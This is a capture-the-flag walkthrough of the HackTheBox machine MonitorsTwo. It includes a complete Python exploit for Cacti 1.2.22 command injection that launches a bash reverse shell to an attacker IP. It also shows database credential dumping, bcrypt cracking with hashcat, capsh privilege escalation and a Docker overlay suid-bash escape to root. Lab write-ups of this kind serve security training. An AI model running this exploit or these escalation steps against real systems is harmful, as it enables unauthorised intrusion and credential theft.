Htb Monitorstwo Writeup
HTB: MonitorsTwo Walkthrough
Initial Scan
First, we will start with an nmap
scan to check what services are available:
kali@kali:~$ nmap -sV 10.10.11.211 -p-
Starting Nmap 7.93 ( https://nmap.org ) at 2023-05-02 21:02 EDT
Nmap scan report for 10.10.11.211
Host is up (0.079s latency).
Not shown: 65533 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
80/tcp open http nginx 1.18.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Fairly narrow attack service, so lets start exploring the web service.
Website Enumeration
Checking out port 80 reveals that there is a Cacti installation:
If you are not familiar with Cacti, here is the “What is Cacti?” blurb from the website:
Cacti is a robust performance and fault management framework and a frontend to RRDTool - a Time Series Database (TSDB). It stores all of the necessary information to create performance management Graphs in either MariaDB or MySQL, and then leverages its various Data Collectors to populate RRDTool based TSDB with that performance data.
I checked out searchsploit, since we are given a service and version number:
kali@kali:/usr/share/nmap/scripts$ searchsploit cacti 1.2.22
-----------------------------------------------------------------------
Exploit Title | Path
-----------------------------------------------------------------------
Cacti v1.2.22 - Remote Command Execution (RCE) | php/webapps/51166.py
-----------------------------------------------------------------------
Well how fortunate!
Initial Access
The included exploit did not work for me off the bat. I had to modify it a little bit in order to get it to work. I figured out to modify it by comparing it to metasploits version which states:
X_FORWARDED_FOR_IP 127.0.0.1 yes The IP to use in the X-Forwarded-For HTTP header. This should be resolvable to a hostname in the poller table.
That meant that I needed to change the headers in the script:
def exploit(self):
# cacti local ip from the url for the X-Forwarded-For header
local_cacti_ip = self.url.split("//")[1].split("/")[0]
headers = {
'X-Forwarded-For': f'{local_cacti_ip}'
}
I replaced that section with the much more succint:
headers = {'X-Forwarded-For': '127.0.0.1' }
I also made the script support multiprocessing, just in case the brute force would take a while. This turned out to be unnecessary, but here is the modified exploit:
#!/usr/bin/env python3
import argparse
import base64
import httpx, urllib
from multiprocessing import Queue
from multiprocessing import Process
def run_exploit(queue):
session = httpx.Client(headers={"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:89.0) Gecko/20100101 Firefox/89.0"},verify=False,proxies=None)
headers = {'X-Forwarded-For': '127.0.0.1'}
while not queue.empty():
url = queue.get()
r = session.get(url,headers=headers,timeout=None)
print(f"{url}:{r.status_code}\n{r.text}" )
def make_payload_queue(url, remote_ip, remote_port):
revshell = f"bash -c 'exec bash -i &>/dev/tcp/{remote_ip}/{remote_port} <&1'"
b64_revshell = base64.b64encode(revshell.encode()).decode()
payload = f";echo {b64_revshell} | base64 -d | bash -"
payload = urllib.parse.quote(payload)
urls = Queue()
# Adjust the range to fit your needs ( wider the range, longer the script will take to run the more success you will have achieving a reverse shell)
for host_id in range(1,100):
for local_data_ids in range(1,100):
urls.put(f"{url}/remote_agent.php?action=polldata&local_data_ids[]={local_data_ids}&host_id={host_id}&poller_id=1{payload}")
return urls
def parse_args():
argparser = argparse.ArgumentParser()
argparser.add_argument("-u", "--url", help="Target URL (e.g. http://192.168.1.100/cacti)")
argparser.add_argument("-p", "--remote_port", help="reverse shell port to connect to", required=True)
argparser.add_argument("-i", "--remote_ip", help="reverse shell IP to connect to", required=True)
argparser.add_argument("-t", "--process_threads", type=int, help="number of process threads to spawn", required=True)
return argparser.parse_args()
def main() -> None:
# Open a nc listener (rs_host+rs_port) and run the script against a CACTI server with its LOCAL IP URL
args = parse_args()
queue = make_payload_queue(args.url, args.remote_ip, args.remote_port)
processes = []
for n in range(args.process_threads):
p = Process(target=run_exploit, args=(queue,))
processes.append(p)
p.start()
for p in processes:
p.join()
if __name__ == "__main__":
main()
Catching the callback with a netcat listener gets me a shell on the box!
Docker Enumeration
After looking around the box, I landed on the /entrypoint.sh
file:
!/bin/bash
set -ex
wait-for-it db:3306 -t 300 -- echo "database is connected"
if [[ ! $(mysql --host=db --user=root --password=root cacti -e "show tables") =~ "automation_devices" ]]; then
mysql --host=db --user=root --password=root cacti < /var/www/html/cacti.sql
mysql --host=db --user=root --password=root cacti -e "UPDATE user_auth SET must_change_password='' WHERE username = 'admin'"
mysql --host=db --user=root --password=root cacti -e "SET GLOBAL time_zone = 'UTC'"
This points us directly to the user_auth
table inside of the database, and shows us how to connect to it:
mysql -h db -u root --password=root cacti -e "select * from user_auth;"
1 admin $2y$10$IhEA.Og8vrvwueM7VEDkUes3pwc3zaBbQ/iuqMft/llx8utpR1hjC 0 Jamie Thompson admin@monitorstwo.htb
3 guest 43e9a4ab75570f5b 0 Guest Account
4 marcus $2y$10$vcrYth5YcCLlZaPDj6PwqOYTw68W1.3WeKlBn70JonsdW/MhFYK4C 0 Marcus Brune marcus@monitorstwo.htb
I then went to crack these hashes using hashcat with a GPU:
PS D:\> .\hashcat.exe --identify .\hash.txt
The following 4 hash-modes match the structure of your input hash:
# | Name | Category
======+============================================================+======================================
3200 | bcrypt $2*$, Blowfish (Unix) | Operating System
25600 | bcrypt(md5($pass)) / bcryptmd5 | Forums, CMS, E-Commerce
25800 | bcrypt(sha1($pass)) / bcryptsha1 | Forums, CMS, E-Commerce
28400 | bcrypt(sha512($pass)) / bcryptsha512 | Forums, CMS, E-Commerce
I’m pretty positive these are “3200 - Unix” type, so I start my attack with rockyou:
PS D:\> .\hashcat.exe -m 3200 -a 0 .\hash.txt "E:\Toolbox\wordlists\rockyou.txt"
After a short period of time, I get a match with marcus:funkymonkey
Docker Privesc
The other significant bit was the docker privesc. The first good indicator I found was checking for file permissions:
find / -perm /4000 -ls 2>/dev/null
42364 88 -rwsr-xr-x 1 root root 88304 Feb 7 2020 /usr/bin/gpasswd
42417 64 -rwsr-xr-x 1 root root 63960 Feb 7 2020 /usr/bin/passwd
42317 52 -rwsr-xr-x 1 root root 52880 Feb 7 2020 /usr/bin/chsh
42314 60 -rwsr-xr-x 1 root root 58416 Feb 7 2020 /usr/bin/chfn
42407 44 -rwsr-xr-x 1 root root 44632 Feb 7 2020 /usr/bin/newgrp
5431 32 -rwsr-xr-x 1 root root 30872 Oct 14 2020 /sbin/capsh
41798 56 -rwsr-xr-x 1 root root 55528 Jan 20 2022 /bin/mount
41819 36 -rwsr-xr-x 1 root root 35040 Jan 20 2022 /bin/umount
41813 72 -rwsr-xr-x 1 root root 71912 Jan 20 2022 /bin/su
capsh
or “capabilities shell” is pretty interesting to see in that output. Let’s examine what capabilities we have access to:
www-data@50bca5e748b0:/var/www/html$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
www-data@50bca5e748b0:/var/www/html$ capsh --print
Current: cap_chown,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_audit_write,cap_setfcap=eip
Bounding set =cap_chown,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_audit_write,cap_setfcap
Ambient set =
Current IAB: cap_chown,!cap_dac_override,!cap_dac_read_search,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,!cap_linux_immutable,cap_net_bind_service,!cap_net_broadcast,!cap_net_admin,cap_net_raw,!cap_ipc_lock,!cap_ipc_owner,!cap_sys_module,!cap_sys_rawio,cap_sys_chroot,!cap_sys_ptrace,!cap_sys_pacct,!cap_sys_admin,!cap_sys_boot,!cap_sys_nice,!cap_sys_resource,!cap_sys_time,!cap_sys_tty_config,!cap_mknod,!cap_lease,cap_audit_write,!cap_audit_control,cap_setfcap,!cap_mac_override,!cap_mac_admin,!cap_syslog,!cap_wake_alarm,!cap_block_suspend,!cap_audit_read
Securebits: 00/0x0/1'b0
secure-noroot: no (unlocked)
secure-no-suid-fixup: no (unlocked)
secure-keep-caps: no (unlocked)
secure-no-ambient-raise: no (unlocked)
uid=33(root) euid=0(root)
gid=33(www-data)
groups=33(www-data)
Guessed mode: UNCERTAIN (0)
Ok so that’s a lot of capabilities, but seeing cap_setuid
in the list is the ticket. To get a root shell you just need to invoke it:
capsh -- -p
Here is a breakdown of each part of the command:
capsh
- invokes thecapsh
command-line utility.--
- states that all following arguments are for/bin/bash
-p
- From the bash manual, if the-p
option is supplied at invocation the effective user id is not reset. Since we havecap_setuid
, this will give us an effective user id of 0.
The result:
id
uid=33(www-data) gid=33(www-data) euid=0(root) groups=33(www-data)
Root Privesc
I felt the root privesc was both simple and tricky at the same time. From the docker container, when you run the mount
command you get the following info:
www-data@50bca5e748b0:/var/www/html$ mount
overlay on / type overlay (rw,relatime,lowerdir= <snip>
upperdir=/var/lib/docker/overlay2/c41d5854e43bd996e128d647cb526b73d04c9ad6325201c85f73fdba372cb2f1/diff,
workdir=/var/lib/docker/overlay2/c41d5854e43bd996e128d647cb526b73d04c9ad6325201c85f73fdba372cb2f1/work,
xino=off)
Using the marcus creds we obtained, from an SSH session we can look at those directories:
marcus@monitorstwo:/var/lib/docker/overlay2/c41d5854e43bd996e128d647cb526b73d04c9ad6325201c85f73fdba372cb2f1/diff$ ls -al
total 108
drwxr-xr-x 7 root root 4096 Mar 21 10:49 .
drwx-----x 5 root root 4096 May 2 16:08 ..
drwxr-xr-x 2 root root 4096 Mar 22 13:21 bin
drwx------ 2 root root 4096 Mar 21 10:50 root
drwxr-xr-x 4 root root 4096 May 2 19:11 run
drwxrwxrwt 4 root root 69632 May 3 01:43 tmp
drwxr-xr-x 4 root root 4096 Nov 15 04:13 var
With root access on the docker container, I set the suid
bit on the /bin/bash
executable. Then, from the SSH session I can see that binary in the diff
folder:
marcus@monitorstwo:/var/lib/docker/overlay2/c41d5854e43bd996e128d647cb526b73d04c9ad6325201c85f73fdba372cb2f1/diff/bin$ ls -al
total 1220
drwxr-xr-x 2 root root 4096 Mar 22 13:21 .
drwxr-xr-x 7 root root 4096 Mar 21 10:49 ..
-rwsr-sr-x 1 root root 1234376 Mar 27 2022 bash
From there, getting root is a command away:
marcus@monitorstwo:/var/lib/docker/overlay2/c41d5854e43bd996e128d647cb526b73d04c9ad6325201c85f73fdba372cb2f1/diff/bin$ ./bash -p
bash-5.1# id
uid=1000(marcus) gid=1000(marcus) euid=0(root) egid=0(root) groups=0(root),1000(marcus)